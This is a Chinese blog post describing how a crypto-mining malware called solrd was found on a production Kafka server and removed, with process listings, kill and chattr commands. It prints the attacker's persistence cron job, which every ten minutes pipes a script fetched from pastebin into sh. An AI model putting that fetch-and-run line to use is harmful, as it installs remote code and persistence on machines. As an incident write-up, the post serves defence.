记录清除挖矿病毒 solrd 过程

2024-06-13 14:36

本文主要是介绍记录清除挖矿病毒 solrd 过程,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1、发现solrd病毒

端午节期间,kafka 服务器被黑客攻击了,植入了挖矿病毒 solrd,这个病毒很聪明,内存,CPU并没有异常升高,以致于上班第一天完全没有察觉。
上班第一天 正常登录服务器查看 flink ,消费kafka 服务有没有 挂掉,习惯性的使用了jps 如下:

[root@linuxdevname1 ~]# jps
26770 -- process information unavailable
5220 -- process information unavailable
23686 -- process information unavailable
32711 -- process information unavailable
6855 -- process information unavailable
28425 -- process information unavailable
2746 -- process information unavailable
1212 -- process information unavailable
17213 -- process information unavailable
6127 -- process information unavailable

process information unavailable 这使我很郁闷,此时还没有察觉 到病毒导致的,于是百度了一下 这些关键字 网上的大神都是说 删除 tmp 目录下hsperfdata_* 文件夹 rm -rf /tmp/hsperfdata_*
在这里插入图片描述
跟着一顿操作猛如虎

[root@linuxdevname1 tmp]# rm -rf hsperfdata_*
[root@linuxdevname1 tmp]# jps
19249 Jps

删除完成发现 所有进程都不见了,此时吓懵了,因为是现网,产线还有很多消息正在往kafka里写数据,。定眼一看,内存和CPU并没有下降,所以我判断 kafka 进程并没有挂掉,只是jps 不显示 而已
然后立马top -c 了一下

[root@linuxdevname1 ~]# top -c
top - 14:10:57 up 691 days, 21:18,  2 users,  load average: 3.44, 2.83, 2.86
Tasks: 142 total,   3 running, 139 sleeping,   0 stopped,   0 zombie
%Cpu(s): 19.3 us, 33.2 sy,  0.0 ni, 47.2 id,  0.0 wa,  0.0 hi,  0.3 si,  0.0 st
KiB Mem : 16266156 total,   182660 free,  9594172 used,  6489324 buff/cache
KiB Swap:  1048572 total,   394220 free,   654352 used.  6326952 avail Mem PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                                                      8688 root      20   0 2441092   2.3g   2904 S   0.0 14.7   2112:12 /tmp/.solr/solrd                                                                                             
26770 root      20   0 5948868   1.3g   7444 S   2.0  8.2   7558:51 /usr/local/jdk1.8.0_121/bin/java -Xmx1G -Xms1G -server -XX:+UseG1GC -XX:MaxGCPauseMillis=20 -XX:InitiatingH+ 
32711 root      20   0 5047692   1.2g  27912 S   1.0  8.0  55:51.95 /usr/local/jdk1.8.0_121/bin/java -Xmx1073741824 -Xms1073741824 -XX:MaxMetaspaceSize=268435456 -Dlog.file=/o+ 1212 root      20   0 4339052 795856  22812 S   1.0  4.9  55:10.81 /usr/local/jdk1.8.0_121/bin/java -XX:+UseG1GC -Xmx536870902 -Xms536870902 -XX:MaxDirectMemorySize=268435458+ 
23686 root      20   0 4350936 724604  17792 S   0.0  4.5 684:53.55 java -Xms500m -Xmx500m -jar /xckj/bigdata/sparkstreaming/day-log-dinc/prod/xc-streamservice-log-school-di-1+ 
28425 root      20   0 4341528 669972  18080 S   0.7  4.1 396:46.52 java -Xms500m -Xmx500m -jar /xckj/bigdata/sparkstreaming/log-active-user-dinc/prod/xc-streamservice-school-+ 
17213 root      20   0 4284844 639256  18060 S   0.3  3.9 671:41.14 java -Xms500m -Xmx500m -jar /xckj/bigdata/sparkstreaming/day-login-dinc/prod/xc-streamservice-log-school-lo+ 6127 root      20   0 4735288 491552  11144 S   1.3  3.0 847:48.62 java -Xms512m -Xmx1024m -jar /xckj/bigdata/logservice/log-service-xc-2.0.0.jar                               2746 root      20   0 7858880 430304   4440 S   0.7  2.6   3546:17 java -jar /usr/local/eduman/eduman-register/eduman-register.jar                                              6855 root      20   0 3858544 382308   5176 S   0.3  2.4   1106:22 /usr/local/jdk1.8.0_121/bin/java -Xmx512M -Xms512M -server -XX:+UseG1GC -XX:MaxGCPauseMillis=20 -XX:Initiat+ 
20686 root      10 -10  179020  48100   6488 R   9.0  0.3   2385:33 /usr/local/aegis/aegis_client/aegis_11_91/AliYunDunMonitor                                                   
15682 root      20   0   88564  39268  39052 S   0.7  0.2   8:49.44 /usr/lib/systemd/systemd-journald                                                                            882 root      20   0  734548  31488  28236 S   0.3  0.2  61:41.73 /usr/sbin/rsyslogd -n                                                                                        
20675 root      10 -10  115704   9468   4832 S   0.7  0.1 493:20.19 /usr/local/aegis/aegis_client/aegis_11_91/AliYunDun                                                          6117 root      20   0  158048   6404   4656 S   0.7  0.0   0:00.83 sshd: root@pts/0,pts/3                                                                                       6556 root      20   0  118312   4804   1728 S   0.0  0.0   0:00.04 -bash                                                                                                        6186 root      20   0  118312   4764   1688 S   0.0  0.0   0:00.04 -bash                                                                                                        6809 root      10 -10   62140   4516   3080 S   0.0  0.0 102:09.96 /usr/local/aegis/aegis_update/AliYunDunUpdate                                                                
19053 root      20   0  118252   4448   1348 S   0.7  0.0   0:00.02 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 874 root      20   0  574284   4316    232 S   0.0  0.0 106:25.59 /usr/bin/python2 -Es /usr/sbin/tuned -l -P                                                                   5822 postfix   20   0   91968   4164   3144 S   0.0  0.0   0:00.09 pickup -l -t unix -u                                                                                         
19176 root      20   0  118252   3736    528 S   0.0  0.0   0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
19163 root      20   0  118252   3688    520 S   0.0  0.0   0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
19157 root      20   0  118252   3628    508 S   0.0  0.0   0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
19175 root      20   0  118252   3588    408 S   0.0  0.0   0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
19160 root      20   0  118252   3472    348 S   0.0  0.0   0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 
19164 root      20   0  118252   3316    192 S   0.0  0.0   0:00.00 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 1 root      20   0  125696   3176   1716 S   0.0  0.0 173:43.90 /usr/lib/systemd/systemd --switched-root --system --deserialize 22                                           8464 root      20   0  162860   3112   1592 S   0.0  0.0   0:00.25 top                                                                                                          2342 root      20   0  163136   2968   1260 S   0.0  0.0   0:20.24 top  

此时看到消费kafka 服务都还在,没有注意到第一行的 /tmp/.solr/solrd 病毒,此时它还没有占用多少CPU跟内存。没有太在意它

就在今天 查看某一个定时任务为什么没有执行的时候 发现 crontab 里面的定时任务被删除了,莫名其妙的多了一个不认识的定时调度任务 访问一个地址

[root@linuxdevname1 ~]# crontab -e
*/10 * * * * curl -fsSL https://pastebin.com/raw/xg546sAd | sh

瞬时意识到 服务器被攻击了,立马注释 crontab 这条记录保存的时候发现 保持不了

[root@linuxdevname1 tmp]# crontab -e
crontab: installing new crontab
crontab: error renaming /var/spool/cron/#tmp.linuxdevname1.XXXXx0RbdC to /var/spool/cron/root
rename: 不允许的操作
crontab: edits left in /tmp/crontab.5Oev80

于是乎继续百度 发现是 /var/spool/cron 文件夹下的 root 文件被锁了 ,于是使用
chattr -a /etc/crontab
chattr -i /etc/crontab
解锁

[root@linuxdevname1 cron]# lsattr /var/spool/cron/
-----ia-------e-- /var/spool/cron/root
[root@linuxdevname1 cron]# chattr -i /var/spool/cron/
[root@linuxdevname1 cron]# chattr -a /var/spool/cron/再次查看 
[root@linuxdevname1 cron]# lsattr /var/spool/cron/
------------e-- /var/spool/cron/root

解锁完成后发现hosts 也被锁住了,里面的内容也被删除了,于是使用相同的办法解锁

解锁完成后,再编辑 crontab 终于可以修改保存了。

突然间发现内存和CPU异常升高,CPU 100%
使用top -c 命令 此时发现了CPU 118% 病毒 solrd (你小子隐藏的挺深啊,昨天都没在意你)

[root@linuxdevname1 ~]# top -c
top - 14:05:26 up 692 days, 21:13, 14 users,  load average: 23.88, 19.97, 18.49
Tasks: 328 total,  25 running, 296 sleeping,   0 stopped,   7 zombie
%Cpu(s): 57.2 us, 42.6 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.2 si,  0.0 st
KiB Mem : 16266156 total,  3311844 free,  6375112 used,  6579200 buff/cache
KiB Swap:  1048572 total,   394232 free,   654340 used.  9545852 avail Mem PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                                                      
29242 root      20   0 2434376   1.4g   2784 S 118.0  8.8   0:35.39 /tmp/.solr/solrd                                                                                             
20686 root      10 -10  180048  49084   6444 R   8.8  0.3   2514:18 /usr/local/aegis/aegis_client/aegis_11_91/AliYunDunMonitor                                                   1212 root      20   0 4339052 795680  22724 S   1.0  4.9  68:28.88 /usr/local/jdk1.8.0_121/bin/java -XX:+UseG1GC -Xmx536870902 -Xms536870902 -XX:MaxDirectMemorySize=268435458+ 1830 root      20   0  118252   4456   1348 S   1.0  0.0   0:00.03 bash -c ps -HewO lstart ex |grep -E "724|29816|29925|31751|725|904|1076|29627|29922|29931|29942|30738|31744+ 1833 root      20   0  118252   4456   1348 S   1.0  0.0   0:00.03 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 2548 root      20   0  118248   4452   1348 S   1.0  0.0   0:00.03 bash -c ps -HewO lstart ex                                                                                   2932 root      20   0  118248   4464   1348 S   1.0  0.0   0:00.03 bash -c ps -HewO lstart ex                                                                                   3458 root      20   0  158052   6540   4752 S   1.0  0.0   0:59.78 sshd: root@pts/14,pts/15                                                                                     3519 root      20   0  118248   4292   1348 S   1.0  0.0   0:00.03 bash -c ls --color=never -l /proc/*/exe                                                                      3583 root      20   0  117720   4012   1344 S   1.0  0.0   0:00.03 bash -c ps -HewO lstart ex                                                                                   8059 root      20   0  163300   3372   1608 S   1.0  0.0   0:45.08 top                                                                                                          
23015 root      20   0  159012   7492   4656 S   1.0  0.0   1:57.77 sshd: root@pts/0,pts/3                                                                                       
26770 root      20   0 5948868   1.3g   7560 S   1.0  8.2   7576:11 /usr/local/jdk1.8.0_121/bin/java -Xmx1G -Xms1G -server -XX:+UseG1GC -XX:MaxGCPauseMillis=20 -XX:InitiatingH+ 
31668 root      20   0  163412   3468   1608 R   1.0  0.0   0:44.29 top                                                                                                          
32711 root      20   0 5012824   1.2g  27848 S   1.0  7.9  89:48.80 /usr/local/jdk1.8.0_121/bin/java -Xmx1073741824 -Xms1073741824 -XX:MaxMetaspaceSize=268435456 -Dlog.file=/o+ 1597 root      20   0  118252   4460   1348 S   0.7  0.0   0:00.02 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 1713 root      20   0  158048   6536   4752 S   0.7  0.0   1:02.47 sshd: root@pts/10,pts/11                                                                                     1818 root      20   0  118248   4464   1348 S   0.7  0.0   0:00.02 bash -c ls --color=never -l /proc/*/exe                                                                      1831 root      20   0  118252   4460   1348 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex |grep -E "724|29816|29925|31751|725|904|1076|29627|29922|29931|29942|30738|31744+ 1832 root      20   0  118248   4468   1348 S   0.7  0.0   0:00.02 bash -c ls --color=never -l /proc/*/exe                                                                      2229 root      20   0  118248   4468   1348 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex                                                                                   2724 root      20   0  118252   4460   1348 S   0.7  0.0   0:00.02 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 3517 root      20   0  118252   4456   1348 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex |grep -E "724|31751|725|904|1076|1597|1818|1830|1831|1832|1833|2229|2474|2548|31+ 3693 root      20   0  118252   4448   1348 S   0.7  0.0   0:00.02 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 3741 root      20   0  118248   4292   1348 S   0.7  0.0   0:00.02 bash -c ls --color=never -l /proc/*/exe                                                                      3743 root      20   0  118252   4452   1348 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex |grep -E "724|725|1076|31999|904|1597|1818|1830|1831|1832|1833|2229|2548|2724|29+ 4434 root      20   0  117724   4044   1348 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex |grep -E "724|725|1076|1833|3583|904|1597|1818|1830|1831|1832|2229|2548|2724|293+ 4435 root      20   0  117720   4040   1348 S   0.7  0.0   0:00.02 bash -c ls --color=never -l /proc/*/exe                                                                      4802 root      20   0  117720   4016   1344 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex                                                                                   4852 root      20   0  117724   4040   1348 S   0.7  0.0   0:00.02 bash -c export LANG="en_US";export LANGUAGE="en_US";export LC_ALL="en_US";free;echo finalshell_separator;up+ 4885 root      20   0  158272   6844   4752 S   0.7  0.0   1:13.79 sshd: root@pts/4,pts/5                                                                                       4933 root      20   0  117720   4012   1344 S   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex |grep -E "724|725|1076|1833|3583|8059|23015|904|1597|1818|1830|1831|COMMAND"      4936 root      20   0  117720   4012   1344 S   0.7  0.0   0:00.02 bash -c ls --color=never -l /proc/*/exe                                                                      5042 root      20   0  117720   4016   1344 R   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex                                                                                   5055 root      20   0  116532   2696   1340 R   0.7  0.0   0:00.02 bash -c ps -HewO lstart ex                                                                                   8947 root      20   0  163296   3532   1608 S   0.7  0.0   0:39.86 top                                                                                                          
13023 root      20   0  162412   2624   1680 R   0.7  0.0   0:00.15 top -c                                                                                                       
16498 root      20   0  163300   3448   1608 S   0.7  0.0   0:38.02 top                                                                                                          
17791 root      20   0  158056   6544   4752 S   0.7  0.0   1:08.38 sshd: root@pts/8,pts/9 

于是乎,立马进行kill

[root@linuxdevname1 ~]# kill -9 29242
[root@linuxdevname1 ~]# ps -ef | grep solrd
root     13425  8575 99 14:06 ?        00:00:56 /tmp/.solr/solrd
root     18684 23073  0 14:07 pts/0    00:00:00 grep --color=auto solrd

刚kill 完成 再次top -c 发现这个病毒有换了一个进程的id 又起来了,试了几次都没用,于是 查到病毒执行的文件夹

[root@linuxdevname1 ~]# ps -ef | grep solrd
root     13425  8575 99 14:06 ?        00:00:56 /tmp/.solr/solrd
root     18684 23073  0 14:07 pts/0    00:00:00 grep --color=auto solrd

找到目录后,直接删除 rm -rf /tmp/.solr/solrd
然后 再kill 掉solrd 进程发现solrd 病毒 没有再起来了
CPU 内存对应的降到正常情况。
于是紧急关闭了阿里云出入防火墙其他不用的端口。

这篇关于记录清除挖矿病毒 solrd 过程的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1057578

相关文章

Redis中Hash从使用过程到原理说明

《Redis中Hash从使用过程到原理说明》RedisHash结构用于存储字段-值对,适合对象数据,支持HSET、HGET等命令,采用ziplist或hashtable编码,通过渐进式rehash优化... 目录一、开篇:Hash就像超市的货架二、Hash的基本使用1. 常用命令示例2. Java操作示例三

Redis中Set结构使用过程与原理说明

《Redis中Set结构使用过程与原理说明》本文解析了RedisSet数据结构,涵盖其基本操作(如添加、查找)、集合运算(交并差)、底层实现(intset与hashtable自动切换机制)、典型应用场... 目录开篇:从购物车到Redis Set一、Redis Set的基本操作1.1 编程常用命令1.2 集

Linux下利用select实现串口数据读取过程

《Linux下利用select实现串口数据读取过程》文章介绍Linux中使用select、poll或epoll实现串口数据读取,通过I/O多路复用机制在数据到达时触发读取,避免持续轮询,示例代码展示设... 目录示例代码(使用select实现)代码解释总结在 linux 系统里,我们可以借助 select、

k8s中实现mysql主备过程详解

《k8s中实现mysql主备过程详解》文章讲解了在K8s中使用StatefulSet部署MySQL主备架构,包含NFS安装、storageClass配置、MySQL部署及同步检查步骤,确保主备数据一致... 目录一、k8s中实现mysql主备1.1 环境信息1.2 部署nfs-provisioner1.2.

MyBatis/MyBatis-Plus同事务循环调用存储过程获取主键重复问题分析及解决

《MyBatis/MyBatis-Plus同事务循环调用存储过程获取主键重复问题分析及解决》MyBatis默认开启一级缓存,同一事务中循环调用查询方法时会重复使用缓存数据,导致获取的序列主键值均为1,... 目录问题原因解决办法如果是存储过程总结问题myBATis有如下代码获取序列作为主键IdMappe

docker编写java的jar完整步骤记录

《docker编写java的jar完整步骤记录》在平常的开发工作中,我们经常需要部署项目,开发测试完成后,最关键的一步就是部署,:本文主要介绍docker编写java的jar的相关资料,文中通过代... 目录all-docker/生成Docker打包部署文件配置服务A的Dockerfile (a/Docke

linux部署NFS和autofs自动挂载实现过程

《linux部署NFS和autofs自动挂载实现过程》文章介绍了NFS(网络文件系统)和Autofs的原理与配置,NFS通过RPC实现跨系统文件共享,需配置/etc/exports和nfs.conf,... 目录(一)NFS1. 什么是NFS2.NFS守护进程3.RPC服务4. 原理5. 部署5.1安装NF

MySQL使用EXISTS检查记录是否存在的详细过程

《MySQL使用EXISTS检查记录是否存在的详细过程》EXISTS是SQL中用于检查子查询是否返回至少一条记录的运算符,它通常用于测试是否存在满足特定条件的记录,从而在主查询中进行相应操作,本文给大... 目录基本语法示例数据库和表结构1. 使用 EXISTS 在 SELECT 语句中2. 使用 EXIS

oracle 11g导入\导出(expdp impdp)之导入过程

《oracle11g导入导出(expdpimpdp)之导入过程》导出需使用SEC.DMP格式,无分号;建立expdir目录(E:/exp)并确保存在;导入在cmd下执行,需sys用户权限;若需修... 目录准备文件导入(impdp)1、建立directory2、导入语句 3、更改密码总结上一个环节,我们讲了

ShardingProxy读写分离之原理、配置与实践过程

《ShardingProxy读写分离之原理、配置与实践过程》ShardingProxy是ApacheShardingSphere的数据库中间件,通过三层架构实现读写分离,解决高并发场景下数据库性能瓶... 目录一、ShardingProxy技术定位与读写分离核心价值1.1 技术定位1.2 读写分离核心价值二